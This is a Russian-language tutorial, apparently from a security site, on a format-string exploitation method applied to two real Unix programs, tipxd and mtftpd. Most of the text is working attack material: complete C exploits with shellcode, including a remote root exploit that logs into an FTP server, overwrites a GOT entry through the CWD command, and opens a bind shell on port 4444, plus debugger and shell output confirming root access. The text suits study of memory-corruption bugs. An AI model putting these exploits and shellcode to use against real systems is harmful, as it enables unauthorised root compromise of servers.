1. Введение

Однажды, я исследовал популярный Open Source Unix демон. И мной была обнаружена в нем
ошибка класса форматирование строки. В демоне использовался уязвимый вызов функции
"snprintf()" без форматов. Я попытался проэксплуатировать этот демон классическим методом.
Но когда я ввел в одну из команд строку "AAAA.%x.%x.%x.%x.%x.%x.%x.%x", то я получил
ответ от сервера подобный этому: "bla_bla_bla AAAA.addrz_addrz_addrz_2e334141". Я попробовал добавить два символа для выравнивания
оффсета. В результате, когда я приатачился к демону через gdb я увидел, что регистр EIP переписан
частично. То есть вместо адреса 0xbfffd5fa я получил 0x99ffe9fa. Позже я принялся искать информацию
в сети по данной теме. И нашел. Это была статья Pascal'я об его методе эксплуатирования. Я кое-как
разобрался с ним, но все же он мне никак не подходил. Так как он был довольно запутанным и сложным
в понимании. Вскоре после этого я принялся искать свой метод эксплоитинга. И он был найден.
Как раз в данной статье я и хочу поведать вам его. Хочу предупредить, что данная статья не
рассчитана на новичков! Хотя описанный мной ниже метод универсален.
Примеры будут основаны на РЕАЛЬНЫХ уязвимых программах.
Мы рассмотрим пример написания локального эксплоита и удаленного эксплоита к одному ftp серверу.
Итак... Поехали!

2. Локальное эксплуатирование

Прежде всего, я хочу сказать, что некоторое время назад в одной не очень популярной unix утилите
под название "tipxd" была найдена уязвимость формата строки. В ней существовал уязвимый вызов
syslog() функции. Хочу поблагодарить за найденную уязвимость моего хорошего знакомого CoKi из
NoSystem Group. Саму утилиту ищите в google. А сейчас я хочу
рассмотреть как раз уязвимый код.

Уязвимость в src/log.c:

void tipxd_log(int priority, char *format, ... )
{
va_list ap;
char log_entry[LOG_ENTRY_SIZE];

va_start(ap,format);
vsnprintf(log_entry,LOG_ENTRY_SIZE-1,format,ap);

if (sysinfo.opt_flags & OPT_STDERR) {

fprintf(stderr,"[TIPXD LOG] %s\n",log_entry);
} else {
syslog(priority,log_entry); <------ уязвимость
}

return;
}

Как видно в функции tipxd_log() вызывается syslog() без форматирования входящей строки.
Сама строка вводится пользователем в эту функцию как входящий аргумент. Предлагаю
посмотреть где эта самая функция вызывается.

src/main.c

int main( int argc, char *argv[] )
{
....
while ((c = getopt_long(argc,argv,"f:evh",long_options,&option_index)) != -1) {
switch (c) {
case 'f':
if (!(sysinfo.config_filename = malloc(strlen(optarg)))) {
fprintf(stderr,"Could not allocate memory for filename storage\n");
exit(1);
}

....
tipxd_log( LOG_INFO, "Config file is %s\n", sysinfo.config_filename );
....
}

Она вызывается, когда пользователь пытается установить конфигурационный файл.
Давайте проверим это на практике.

[darkeagle@localhost bin]$ ./tipxd -f aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Unable to open configuration file : No such file or directory

[darkeagle@localhost bin]$ tail -3 /var/log/syslog
Mar 15 15:53:59 localhost tipxd[6506]: Config file is /etc/tipxd.conf
Mar 15 15:55:31 localhost tipxd[6582]: Started
Mar 15 15:55:31 localhost tipxd[6582]: Config file is
aaaa.41.41.666e6f43.66206769.20656c69. 61207369.2e616161.252e7825.78252e78.
2e78252e.252e7825.78252e78. 2e78252e.252e7825.78252e78
[darkeagle@localhost bin]$

Да! Как вы можете наблюдать это так! Оффсет в данной случае 7. И мы видим, что он не равен
0x61616161, а равен 0x2e616161. Поэтому как раз здесь и нестандартная ситуация. Мы можем
выровнять наш оффсет путем добавления одного символа.

[darkeagle@localhost bin]$ ./tipxd -f baaaa%7$\x
[darkeagle@localhost bin]$ tail -1 /var/log/syslog
Mar 15 15:57:48 localhost tipxd[6584]: Config file is aaaa61616161
[darkeagle@localhost bin]$

Теперь вы можете попробовать проэксплуатировать уязвимость классическим методом, но заверяю
у вас ничего не получится. Посмотрите на следующий код:

#include <stdio.h>

#define offset 7
#define var 0x0804f994+0x04 // dtorz

int main(int argc, char *argv[])
{

char *addr[3] = { ((char *)var +2),
((char *)var),
};

char buffer[500], cmd[600];
long high, low;
long target = 0x41414141; // retaddr

high = (target & 0xffff0000) >> 16;
low = (target & 0x0000ffff);

high -= 0x08;

memset(buffer, 0x00, sizeof(buffer));

strcat(buffer, "U"); // to align offset
sprintf(buffer+strlen(buffer), "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &addr, high, offset, (low - high)-0x8, offset+1);

printf("%s\n", buffer);
}

Откомпилируем и запустим в отладчике:

[darkeagle@localhost bin]$ gcc exp.c -o exp
[darkeagle@localhost bin]$ gdb tipxd
GNU gdb 6.0-2mdk (Mandrake Linux)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"... Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) r -f `./exp`
Starting program: /home/darkeagle/research/tipxd-1.1.1/bin/tipxd -f `./exp`
Unable to open configuration file : No such file or directory

Program received signal SIGSEGV, Segmentation fault.
0x41514153 in ?? ()
(gdb) q
The program is running. Exit anyway? (y or n) y
[darkeagle@localhost bin]$

Как можно видеть мы перезаписали только часть EIP регистра.
Мой знакомый CoKi попытался проэксплуатировать данную ошибку методом Pascal'я.
Сейчас я вам покажу как проэксплуатировать данную утилиту моим методом.
Но прежде я хочу показать вам формулу. Она выглядит следующим образом:

<GOT><GOT+1><GOT+2><GOT+3><ADDR> <BYTE(s)_TO_ALIGN>%OFFET$n<ADDR>
x%OFFSET+1$n<ADDR>x%OFFSET+2$n <ADDR>x%OFFSET+3$n<NOPS><SHELLCODE>

Время увидеть все это в теории:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define doit( b0, b1, b2, b3, addr ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
}

char
shellcode[]=

"\x31\xc0"
"\x31\xdb"
"\x31\xc9"
"\xb0\x46"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x8d\x54\x24\x08"
"\x50"
"\x53"
"\x8d\x0c\x24"
"\xb0\x0b"
"\xcd\x80"
"\x31\xc0"
"\xb0\x01"
"\xcd\x80";

char *
evil_builder( unsigned int retaddr, unsigned int offset, unsigned int base, long figure )
{
char * buf;
unsigned char b0, b1, b2, b3;
int start = 256;

doit( b0, b1, b2, b3, retaddr );
buf = (char *)malloc(999);
memset( buf, 0, 999 );

b3 -= figure;
b2 -= figure;
b1 -= figure;
b0 -= figure;

snprintf( buf, 999, 
"%%%dx%%%d$n%%%dx%%%d$n %%%dx%%%d$n%%%dx%%%d$n",
b3 - 16 + start - base, offset,
b2 - b3 + start, offset + 1,
b1 - b2 + start, offset + 2,
b0 - b1 + start, offset + 3 );

return buf;
}

int
main( int argc, char * argv[] )
{
char * fmt;
char endian[55];
unsigned long locaddr, retaddr;
unsigned int offset, base;
unsigned char b0, b1, b2, b3;

memset( endian, 0, 555 );

locaddr = 0x0804f994; // dtorz addr
retaddr = 0x01010101; // return addr
offset = 7; // offset
locaddr += 0x4; // dtorz+0x4

doit( b0, b1, b2, b3, locaddr );

base = 4;

strcat(endian, "x"); // символ для выравнивания оффсета.

snprintf( endian+strlen(endian), sizeof(endian),
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 1, b2, b1, b0,
b3 + 2, b2, b1, b0,
b3 + 3, b2, b1, b0 );

fmt = evil_builder( retaddr, offset, base, 0x0 );

memset(fmt+strlen(fmt), 0x42, 48);
strcat(fmt, shellcode);
strcat(endian, fmt);
execl("tipxd", "tipxd", "-f", endian);

return 0;
}

Откомпилируем и запустим:

[darkeagle@localhost bin]$ gcc fmt.c -o fmt
[darkeagle@localhost bin]$ ./fmt
Unable to open configuration file : No such file or directory

Segmentation fault (core dumped)
[darkeagle@localhost bin]$ gdb -c core.7388
GNU gdb 6.0-2mdk (Mandrake Linux)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu".
Core was generated by `tipxd -f xЫ™ЫљЫ›Ы%237x%7$n%256x%8$n
%256x%9$n%256x%10$nBBBBBBBBBBBBBBBB'.
Program terminated with signal 11, Segmentation fault.
#0 0x0d0d0d0d in ?? ()
(gdb)

Вы видите что значение регистра EIP не равно 0x01010101. Оно равно 0x0d0d0d0d. Давайте подсчитаем
выравнивание:

0D - 01 = 0C. 

0D т.к EIP = 0x0d0d0d0d
01 т.к. retaddr = 0x01010101

Выравнивание равно 0C = 12 (dec). Взглянем на код эксплоита.
Часть кода в эксплоите:

fmt = evil_builder( retaddr, offset, base, 0x0 );

в данном случае выравнивание = 0.
Замените на:

fmt = evil_builder( retaddr, offset, base, 0xC );

новое выравнение = 0xC.

Откомпилируйте и запустите:

[darkeagle@localhost bin]$ gcc fmt.c -o fmt
[darkeagle@localhost bin]$ ./fmt
Unable to open configuration file : No such file or directory

Segmentation fault (core dumped)
[darkeagle@localhost bin]$ gdb -c core.7398
GNU gdb 6.0-2mdk (Mandrake Linux)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu".
Core was generated by `tipxd -f xЫ™ЫљЫ›Ы%481x%7$n%256x%8$n%256x%
9$n%256x%10$nBBBBBBBBBBBBBBBB'.
Program terminated with signal 11, Segmentation fault.
#0 0x01010101 in ?? ()
(gdb)

Мы сделали это! EIP указывает на 0x01010101! Теперь дело за малым. Найти наш шеллкод в стеке
и указать адрес его в эксплоит. Делаем следующее:

(gdb) x/1024x $esp
...............
...............
...............
0xbfffff7c: 0x3532256e 0x39257836 0x32256e24 0x25783635
0xbfffff8c: 0x6e243031 0x42424242 0x42424242 0x42424242
0xbfffff9c: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffffac: 0x42424242 0x42424242 0x42424242 0x42424242
0xbfffffbc: 0x42424242 0xdb31c031 0x46b0c931 0xc03180cd
0xbfffffcc: 0x2f2f6850 0x2f686873 0x896e6962 0x24548de3
0xbfffffdc: 0x8d535008 0x0bb0240c 0xc03180cd 0x80cd01b0
..............
..............
(gdb)

Как видно мы нашли наши данные в стеке - это "BBB". В данном случае они
выступают как NOP'ы. Т.е. пустые инструкции. При взятии адреса, указывающего на 0x42424242, мы тем
самым указываем, что уязвимая программа обратится к НОПу, а он в свою очередь
спустится до шеллкода. Берем адрес "0xbfffffac". Заменяем его в эксплоите вместо
0x01010101. Компилируем/запускаем:

[darkeagle@localhost bin]$ gcc fmt.c -o fmt
[darkeagle@localhost bin]$ ./fmt
Unable to open configuration file : No such file or directory

sh-2.05b$

Мы получили шелл!

3. Удаленное эксплуатирование

Теперь давайте применил наши знания на другом реальном примере.
Некоторое время назад я обнаружил другую ошибку в ftp демоне под Unix. Название
демона - "mtftpd". В этом демоне существовал неправильный вызов
"syslog()". Скачать данный демон можете с sf.net сайта. А теперь посмотрим на код
уязвимый:

src/log.c:

static void log_do(const int err, const int prd, const char *fmt, va_list ap)
{
#define MAXLINE 4096
int errno_save;
char buf[MAXLINE];

errno_save = errno;
bzero(buf, sizeof(buf));
vsnprintf(buf, sizeof(buf) - 1, fmt, ap);
if(err) {
snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf) - 1,
": %s", strerror(errno_save));
}
strcat(&buf[MIN(sizeof(buf) - 2, strlen(buf))], "\n");
#if MT_DEBUG && !MT_WANT_INETD
write(STDERR_FILENO, buf, strlen(buf));
#else
syslog(prd, buf); //
УЯЗВИМЫЙ ВЫЗОВ!!!!!!!
#endif
}

Как вы видите здесь похожая проблема. Syslog() в нашем случае будет брать аргумент
с ftp команды CWD, вы можете это увидеть в следующем коде:

src/cmd.c:

CMD_P(cwd)
{
int ret;

#if MT_DEBUG
log_msg("session: %d. You are into cmd_cwd()", ses->ses);
#endif

ret = chdir(param);
if(ret) {
char path[PATH_MAX];

if(*param == '/')
strcpy(path, param);
else
sprintf(path, "%s/%s",
strcmp("/", ses->wd) ? ses->wd : "", param);
log_ret("chdir error to dir %s", path);
<------- ЕСЛИ директория не существует вызывается функция уязвимая
mt_comm_write(ses, "550 %s.", strerror(errno));
} else {
getcwd(ses->wd, PATH_MAX);
mt_comm_write(ses, "250 CWD command successful.");
}
}

Предупреждаю, что уязвимый код работает если демон сконфигурирован с "--enable-statistics" опцией.
И хочу еще сказать, что mtftpd компилируется только в gcc версии 2.96 или ниже (!). Время проверить
демон на практике.

[darkeagle@localhost mtftpd-0.0.3]$ ./configure --enable-statistics
....
[darkeagle@localhost mtftpd-0.0.3]$ make
....
[darkeagle@localhost mtftpd-0.0.3]$ cd src
[darkeagle@localhost mtftpd-0.0.3]$ su
Password:
[root@localhost src]# ./mtftpd
[root@localhost src]#

Сам демон написан с использованием потоков. Для каждого нового клиента, демон создает
свой поток. Давайте соединимся с сервером.

[darkeagle@localhost darkeagle]$ telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
220
user darkeagle
331 Password required for user darkeagle
pass IloveYouVicky
230 User darkeagle logged in
.

Теперь посмотрите процессы в системе и прикрепитесь к порожденному процессу демона.

[root@localhost src]# ps -ax
....
2570 ? S 0:00 ./mtftpd
4221 pts3 S 0:00 telnet localhost 21
4222 ? S 0:00 ./mtftpd <-------- порожденный процесс.
4225 pts0 R 0:00 ps -ax
....
[root@localhost src]# gdb
GNU gdb 6.0-2mdk (Mandrake Linux)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu".
(gdb) attach 4222
Attaching to process 4222
Reading symbols from /home/darkeagle/research/mtftpd-0.0.3/src/mtftpd...done.
Using host libthread_db library "/lib/tls/libthread_db.so.1".
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
0xffffe410 in ?? ()
(gdb) c
Continuing.

Введем строку из telnet окна:

cwd AAAA.%x.%x.%x.%x.%x.%x.%x.
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
550 No such file or directory.

Время проверить syslog().

[root@localhost src]# tail -1 /var/log/syslog
Jul 10 00:06:57 localhost mtftpd: chdir error to dir /home/darkeagle/AAAA.bfffd240.bfffd240.69646863.
72652072.20726f72.64206f74.2f207269.656d6f68.
7261642f.6761656b.412f656c.2e414141.252e7825.
78252e78.2e78252e.252e7825.78252e78: No such file or directory
[root@localhost src]#

Да! Уязвимость работает! Кривой оффсет равен 12. И он похож на оффсет локальной утилиты.
Теперь время написать эксплоит. Данный эксплоит будет носить статус "remote
root". Мой код выглядит следующим образом:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define USERNAME "USER darkeagle\r\n\r\n"
#define PASSWORD "PASS IloveYouVicky\r\n\r\n"

#define doit( b0, b1, b2, b3, addr ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
}

// metasploit guys shellcode
char shellcode[] = // binds 4444 port
"\x31\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x85"
"\x4f\xca\xdf\x83\xeb\xfc\xe2\xf4\xb4\x94\x99\x9c\xd6\x25\xc8\xb5"
"\xe3\x17\x53\x56\x64\x82\x4a\x49\xc6\x1d\xac\xb7\x94\x13\xac\x8c"
"\x0c\xae\xa0\xb9\xdd\x1f\x9b\x89\x0c\xae\x07\x5f\x35\x29\x1b\x3c"
"\x48\xcf\x98\x8d\xd3\x0c\x43\x3e\x35\x29\x07\x5f\x16\x25\xc8\x86"
"\x35\x70\x07\x5f\xcc\x36\x33\x6f\x8e\x1d\xa2\xf0\xaa\x3c\xa2\xb7"
"\xaa\x2d\xa3\xb1\x0c\xac\x98\x8c\x0c\xae\x07\x5f";

// Do our evil DeeDz
char *
evil_builder( unsigned int retaddr, unsigned int offset, unsigned int base, long figure )
{
char * buf;
unsigned char b0, b1, b2, b3;
int start = 256;

doit( b0, b1, b2, b3, retaddr );
buf = (char *)malloc(999);
memset( buf, 0, 999 );

b3 -= figure;
b2 -= figure; // align our addr
b1 -= figure;
b0 -= figure;

snprintf( buf, 999,
"%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n%%%dx%%%d$n",
b3 - 16 + start - base, offset,
b2 - b3 + start, offset + 1,
b1 - b2 + start, offset + 2,
b0 - b1 + start, offset + 3 );

return buf;
}

int main ( int argc, char *argv )
{

int sock;
struct sockaddr_in addr;
char evildata[31337], rec[555], shell[555];

unsigned long locaddr, retaddr;
unsigned int offset, base;
unsigned char b0, b1, b2, b3;
char * fmt;

system("clear");

printf("* mtftpd <= 0.0.3 remote r00t exploit *\n");
printf("* special for last p#63 issue! *\n");
printf("* by Darkeagle *\n\n");

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

addr.sin_family = AF_INET;
addr.sin_port = htons(21);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");

memset(evildata, 0x00, 31337);
memset(rec, 0x00, 555);
memset(shell, 0x00, 555);

if (connect(sock, (struct sockaddr*)&addr, sizeof(addr) ) ) { printf("[-] Connection failed!\n"); exit(0); }

sleep(10); // time to debug child process

locaddr = 0x0804fd10; // syslog from GOT
retaddr = 0x01010101; // retaddr
offset = 12; // offset

doit( b0, b1, b2, b3, locaddr ); // let's do it
base = 4;

strcat(evildata, "CWD x"); // copy vulnerable command and "x" to align our offset
snprintf( evildata+strlen(evildata), sizeof(evildata),
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c"
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 1, b2, b1, b0,
b3 + 2, b2, b1, b0,
b3 + 3, b2, b1, b0 );

fmt = evil_builder( retaddr, offset, base, 0x0 );

memset(fmt+strlen(fmt), 0x55, 32);
strcat(fmt, shellcode);
strcat(evildata, fmt);
strcat(evildata, "\r\n\r\n\r\n");

send(sock, USERNAME, strlen(PASSWORD), 0);
sleep(1);
send(sock, PASSWORD, strlen(PASSWORD), 0);
sleep(2);
recv(sock, rec, sizeof(rec), 0);

if (strstr(rec, "230") ) printf("[+] Logged In!\n"); else { printf("[-] Failed!\n"); exit(0); }

printf("[+] Sending our Evil DeeD\n");
send(sock, evildata, strlen(evildata), 0);
sleep(1);
strcpy(shell, "telnet localhost 4444");
sleep(6);
system(shell);
close(sock);
return 0;

}

Откомпилируем/запустим и приатачимся к процессу.

[root@localhost src]# gdb
GNU gdb 6.0-2mdk (Mandrake Linux)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu".
(gdb) attach 4514
Attaching to process 4514
Reading symbols from /home/darkeagle/research/mtftpd-0.0.3/src/mtftpd...done.
Using host libthread_db library "/lib/tls/libthread_db.so.1".
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
0xffffe410 in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x21212121 in ?? ()
(gdb)

Да! EIP = 0x21212121. Подсчитаем выравивание 0x21 - 0x01 = 0x20. Введем вместо 0x0, 0x20 в

fmt = evil_builder( retaddr, offset, base, 0x20 );

Перекомпилим/запустим и приатачимся к процессу.

[root@localhost src]# gdb
GNU gdb 6.0-2mdk (Mandrake Linux)
...
(gdb) attach 4536
Attaching to process 4536
Reading symbols from /home/darkeagle/research/mtftpd-0.0.3/src/mtftpd...done.
Using host libthread_db library "/lib/tls/libthread_db.so.1".
Reading symbols from /lib/libcrypt.so.1...done.
Loaded symbols for /lib/libcrypt.so.1
Reading symbols from /lib/tls/libc.so.6...done.
Loaded symbols for /lib/tls/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
Reading symbols from /lib/libnss_files.so.2...done.
Loaded symbols for /lib/libnss_files.so.2
0xffffe410 in ?? ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x01010101 in ?? ()
(gdb)

У нас получилось!!! Время найти шеллкод:

(gdb) x/200000x $esp-0x1000
...........
0xbfffd28c: 0x34312578 0x32256e24 0x25783635 0x6e243531
0xbfffd29c: 0x55555555 0x55555555 0x55555555 0x55555555
0xbfffd2ac: 0x55555555 0x55555555 0x55555555 0x55555555
0xbfffd2bc: 0x55555555 0x55555555 0x55555555 0x55555555
0xbfffd2cc: 0xe983c931 0xd9eed9eb 0x5bf42474 0x85137381
0xbfffd2dc: 0x83dfca4f 0xf4e2fceb 0x9c9994b4 0xb5c825d6
0xbfffd2ec: 0x565317e3 0x494a8264 0xb7ac1dc6 0x8cac1394
0xbfffd2fc: 0xb9a0ae0c 0x899b1fdd 0x5f07ae0c 0x3c1b2935
0xbfffd30c: 0x8d98cf48 0x3e430cd3 0x5f072935 0x86c82516
0xbfffd31c: 0x5f077035 0x6f3336cc 0xf0a21d8e 0xb7a23caa
0xbfffd32c: 0xb1a32daa 0x8c98ac0c 0x5f07ae0c 0x6f4e203a
0xbfffd33c: 0x63757320 0x69662068 0x6f20656c 0x69642072
0xbfffd34c: 0x74636572 0x0a79726f 0x00000000 0x00000000
0xbfffd35c: 0x00000000 0x00000000 0x00000000 0x00000000
............
(gdb) q

Берем "0xbfffd29c" и подставляем его вместо 0x01010101.
Перекомпилируем и запускаем.

[darkeagle@localhost code]$ gcc exp_p.c -o exp_p
[darkeagle@localhost code]$ ./exp_p

* mtftpd <= 0.0.3 remote r00t exploit *ф
* by Darkeagle *

[+] Logged In!
[+] Sending our Evil DeeD
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root)
: command not found

Мы получили рута! Полученные знания вы можете применять в дальнейшем!
Удачи!

4. Greets

Благодарности: всем моим друзьям из unl0ck team,
CoKi, rave, crash-x.

5. Материалы

[1]. CoKi's exploit for tipxd - http://www.nosystem.com.ar/exploits/tipxd_exp.c 
[2]. CoKi's advisory to tipxd - http://www.nosystem.com.ar/advisories/advisory-08.txt 
[3]. Pascal's paper about format string exploitation - http://unl0ck.org/files/docz/pascal-fmt.txt

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии